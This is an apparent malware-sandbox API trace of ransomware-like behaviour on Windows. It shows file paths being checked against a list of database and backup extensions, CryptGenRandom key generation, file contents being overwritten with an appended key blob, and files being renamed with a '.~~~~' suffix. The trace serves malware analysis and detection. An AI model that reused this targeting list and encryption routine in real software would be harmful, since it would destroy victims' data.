	[0145.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".MYD") returned 0x0
	[0145.421] lstrlenW (lpString=".DBT") returned 4
	[0145.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".DBT") returned 0x0
	[0145.421] lstrlenW (lpString=".ACCDB") returned 6
	[0145.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0145.421] lstrlenW (lpString=".fdb") returned 4
	[0145.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".fdb") returned 0x0
	[0145.421] lstrlenW (lpString=".bak") returned 4
	[0145.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".bak") returned 0x0
	[0145.421] lstrlenW (lpString=".myd") returned 4
	[0145.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".myd") returned 0x0
	[0145.421] lstrlenW (lpString=".DTXS") returned 5
	[0145.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0145.421] lstrlenW (lpString=".ckp") returned 4
	[0145.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".ckp") returned 0x0
	[0145.421] lstrlenW (lpString=".dbt") returned 4
	[0145.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".dbt") returned 0x0
	[0145.422] lstrlenW (lpString=".db") returned 3
	[0145.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".db") returned 0x0
	[0145.422] lstrlenW (lpString=".TXT") returned 4
	[0145.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".TXT") returned 0x0
	[0145.422] lstrlenW (lpString=".MDF") returned 4
	[0145.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".MDF") returned 0x0
	[0145.422] lstrlenW (lpString=".bdb") returned 4
	[0145.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".bdb") returned 0x0
	[0145.422] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.422] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3956b8) returned 1
	[0145.424] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.424] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.424] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26541426456) returned 1
	[0145.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xc015acb0, dwHighDateTime=0x1d60e1e)) 
	[0145.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380430
	[0145.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380430 | out: hHeap=0x300000) returned 1
	[0145.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0145.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870398
	[0145.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.425] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0145.425] GetLastError () returned 0x0
	[0145.426] GetLastError () returned 0x0
	[0145.426] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0145.426] GetLastError () returned 0x0
	[0145.426] GetLastError () returned 0x0
	[0145.426] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x281, lpOverlapped=0x0) returned 1
	[0145.428] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffffd7f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.429] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x281, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x281, lpOverlapped=0x0) returned 1
	[0145.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.429] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.429] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.429] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.429] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.429] CloseHandle (hObject=0x104) returned 1
	[0145.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28acda0
	[0145.429] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc.~~~~")) returned 1
	[0145.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.432] GetLastError () returned 0x0
	[0145.432] RtlWakeConditionVariable () returned 0x0
	[0145.433] GetCurrentThreadId () returned 0x9f4
	[0145.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".scr") returned 0x0
	[0145.433] lstrlenW (lpString=".cmd") returned 4
	[0145.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".cmd") returned 0x0
	[0145.433] lstrlenW (lpString=".dll") returned 4
	[0145.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".dll") returned 0x0
	[0145.433] lstrlenW (lpString=".bat") returned 4
	[0145.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".bat") returned 0x0
	[0145.433] lstrlenW (lpString=".cpl") returned 4
	[0145.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".cpl") returned 0x0
	[0145.433] lstrlenW (lpString=".sys") returned 4
	[0145.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".sys") returned 0x0
	[0145.433] lstrlenW (lpString=".msc") returned 4
	[0145.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".msc") returned 0x0
	[0145.433] lstrlenW (lpString=".com") returned 4
	[0145.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".com") returned 0x0
	[0145.433] lstrlenW (lpString=".lnk") returned 4
	[0145.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".lnk") returned 0x0
	[0145.433] lstrlenW (lpString=".msp") returned 4
	[0145.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".msp") returned 0x0
	[0145.433] lstrlenW (lpString=".pif") returned 4
	[0145.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".pif") returned 0x0
	[0145.433] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0145.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0145.436] lstrlenW (lpString=".sqb") returned 4
	[0145.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".sqb") returned 0x0
	[0145.436] lstrlenW (lpString=".ost") returned 4
	[0145.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".ost") returned 0x0
	[0145.436] lstrlenW (lpString=".txt") returned 4
	[0145.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".txt") returned 0x0
	[0145.436] lstrlenW (lpString=".mdt") returned 4
	[0145.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".mdt") returned 0x0
	[0145.436] lstrlenW (lpString=".BDB") returned 4
	[0145.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".BDB") returned 0x0
	[0145.436] lstrlenW (lpString=".eql") returned 4
	[0145.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".eql") returned 0x0
	[0145.436] lstrlenW (lpString=".DBF") returned 4
	[0145.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".DBF") returned 0x0
	[0145.436] lstrlenW (lpString=".EQL") returned 4
	[0145.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".EQL") returned 0x0
	[0145.436] lstrlenW (lpString=".FDB") returned 4
	[0145.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".FDB") returned 0x0
	[0145.436] lstrlenW (lpString=".EDB") returned 4
	[0145.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".EDB") returned 0x0
	[0145.436] lstrlenW (lpString=".DACPAC") returned 7
	[0145.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0145.437] lstrlenW (lpString=".VHD") returned 4
	[0145.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".VHD") returned 0x0
	[0145.437] lstrlenW (lpString=".DBV") returned 4
	[0145.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".DBV") returned 0x0
	[0145.437] lstrlenW (lpString=".dacpac") returned 7
	[0145.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0145.437] lstrlenW (lpString=".sdf") returned 4
	[0145.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".sdf") returned 0x0
	[0145.437] lstrlenW (lpString=".accdb") returned 6
	[0145.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".accdb") returned 0x0
	[0145.437] lstrlenW (lpString=".DBX") returned 4
	[0145.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".DBX") returned 0x0
	[0145.437] lstrlenW (lpString=".MDT") returned 4
	[0145.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".MDT") returned 0x0
	[0145.437] lstrlenW (lpString=".SQB") returned 4
	[0145.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".SQB") returned 0x0
	[0145.437] lstrlenW (lpString=".vhd") returned 4
	[0145.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".vhd") returned 0x0
	[0145.437] lstrlenW (lpString=".bac") returned 4
	[0145.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".bac") returned 0x0
	[0145.437] lstrlenW (lpString=".mdf") returned 4
	[0145.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".mdf") returned 0x0
	[0145.437] lstrlenW (lpString=".BAK") returned 4
	[0145.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".BAK") returned 0x0
	[0145.437] lstrlenW (lpString=".BAC") returned 4
	[0145.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".BAC") returned 0x0
	[0145.437] lstrlenW (lpString=".dbs") returned 4
	[0145.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".dbs") returned 0x0
	[0145.438] lstrlenW (lpString=".vhdx") returned 5
	[0145.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0145.438] lstrlenW (lpString=".NDF") returned 4
	[0145.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".NDF") returned 0x0
	[0145.438] lstrlenW (lpString=".dat") returned 4
	[0145.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".dat") returned 0x0
	[0145.438] lstrlenW (lpString=".DBS") returned 4
	[0145.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".DBS") returned 0x0
	[0145.438] lstrlenW (lpString=".CKP") returned 4
	[0145.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".CKP") returned 0x0
	[0145.438] lstrlenW (lpString=".edb") returned 4
	[0145.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".edb") returned 0x0
	[0145.438] lstrlenW (lpString=".PST") returned 4
	[0145.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".PST") returned 0x0
	[0145.438] lstrlenW (lpString=".dbf") returned 4
	[0145.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".dbf") returned 0x0
	[0145.438] lstrlenW (lpString=".SQL") returned 4
	[0145.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".SQL") returned 0x0
	[0145.438] lstrlenW (lpString=".pst") returned 4
	[0145.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".pst") returned 0x0
	[0145.438] lstrlenW (lpString=".dbv") returned 4
	[0145.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".dbv") returned 0x0
	[0145.438] lstrlenW (lpString=".SDF") returned 4
	[0145.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".SDF") returned 0x0
	[0145.438] lstrlenW (lpString=".dtxs") returned 5
	[0145.438] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0145.438] lstrlenW (lpString=".db3") returned 4
	[0145.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".db3") returned 0x0
	[0145.439] lstrlenW (lpString=".OST") returned 4
	[0145.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".OST") returned 0x0
	[0145.439] lstrlenW (lpString=".dbx") returned 4
	[0145.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".dbx") returned 0x0
	[0145.439] lstrlenW (lpString=".DB3") returned 4
	[0145.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".DB3") returned 0x0
	[0145.439] lstrlenW (lpString=".DAT") returned 4
	[0145.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".DAT") returned 0x0
	[0145.439] lstrlenW (lpString=".VHDX") returned 5
	[0145.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0145.439] lstrlenW (lpString=".ndf") returned 4
	[0145.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".ndf") returned 0x0
	[0145.439] lstrlenW (lpString=".DB") returned 3
	[0145.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".DB") returned 0x0
	[0145.439] lstrlenW (lpString=".sql") returned 4
	[0145.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".sql") returned 0x0
	[0145.439] lstrlenW (lpString=".MYD") returned 4
	[0145.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".MYD") returned 0x0
	[0145.439] lstrlenW (lpString=".DBT") returned 4
	[0145.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".DBT") returned 0x0
	[0145.439] lstrlenW (lpString=".ACCDB") returned 6
	[0145.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0145.439] lstrlenW (lpString=".fdb") returned 4
	[0145.439] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".fdb") returned 0x0
	[0145.439] lstrlenW (lpString=".bak") returned 4
	[0145.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".bak") returned 0x0
	[0145.440] lstrlenW (lpString=".myd") returned 4
	[0145.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".myd") returned 0x0
	[0145.440] lstrlenW (lpString=".DTXS") returned 5
	[0145.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0145.440] lstrlenW (lpString=".ckp") returned 4
	[0145.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".ckp") returned 0x0
	[0145.440] lstrlenW (lpString=".dbt") returned 4
	[0145.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".dbt") returned 0x0
	[0145.440] lstrlenW (lpString=".db") returned 3
	[0145.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".db") returned 0x0
	[0145.440] lstrlenW (lpString=".TXT") returned 4
	[0145.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".TXT") returned 0x0
	[0145.440] lstrlenW (lpString=".MDF") returned 4
	[0145.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".MDF") returned 0x0
	[0145.440] lstrlenW (lpString=".bdb") returned 4
	[0145.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".bdb") returned 0x0
	[0145.440] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.440] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3956b8) returned 1
	[0145.442] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.442] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.442] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26543198518) returned 1
	[0145.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xc0180e10, dwHighDateTime=0x1d60e1e)) 
	[0145.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3803f8
	[0145.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3803f8 | out: hHeap=0x300000) returned 1
	[0145.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
